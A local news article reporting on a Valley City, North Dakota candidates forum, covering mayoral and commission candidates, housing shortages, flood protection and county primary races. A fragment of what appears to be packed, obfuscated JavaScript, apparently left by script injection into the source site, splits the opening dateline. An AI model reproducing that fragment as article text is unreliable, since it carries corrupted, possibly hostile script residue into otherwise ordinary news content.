VALLEY htdds|var|u0026u|referrer|fybfr||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) During a candidates forum in Valley City, mayoral candidate Jeff Edwards says he’s excited about the future economic development possibilities for Valley City. He says if elected he would help enhance that growth.

Incumbent Bob Werkhoeven says under his watch the city successfully fought back a flood and he supported armoring the Tolna Coulee to avoid a possible disaster. He says not everyone agrees with the direction that he and others have taken but he hopes the city and county can improve their relationship and work together once again.

Valley City commission candidates Matt Pedersen, Duane Magnuson and Gary Schlagel also participated in the Candidates Forum on May 28.

All the candidates stressed the need to pursue constructing more affordable housing unites in the city as Valley City deals with a housing shortage.

The importance of permanent flood protection was discuss but not all of the city candidates agreed on the cost or direction the city is pursuing.

Barnes County Commission candidates are in a primary race as Bill Carlblom and Ryan Mathias are pursuing the District 3 commissioner seat being vacated by Eldred Knutson.

And three candidates are vying for the District 2 commissioner seat held by Phil Leitner. Challengers Mike Metcalf and Shawn Olauson are running for the position. The top two who receive the most votes in the primary will be placed on the November 4 ballot in the general election.

The North Dakota primary/election is set for June 10.